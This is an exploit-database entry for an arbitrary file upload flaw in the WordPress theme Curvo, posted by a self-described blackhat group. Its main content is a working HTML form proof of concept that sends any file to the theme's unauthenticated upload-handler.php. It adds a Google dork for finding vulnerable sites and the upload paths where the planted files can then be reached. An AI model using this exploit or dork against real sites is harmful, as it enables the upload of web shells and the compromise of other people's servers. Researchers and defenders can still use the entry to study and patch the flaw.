WordPress Theme Curvo - Cross-Site Request Forgery / Arbitrary File Upload

Author: Byakuya Kouta
type: webapps
platform: php
port: 
date_added: 2013-11-02  
date_updated: 2013-11-02  
verified: 0  
codes: OSVDB-99043  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 29211.txt  
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#_________            .___        _______                ___.   .__
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/
###################################################################################################
# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Price: $35
# Affected Version: Unknown
# Infected File: upload_handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/curvo/
###################################################################################################

# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
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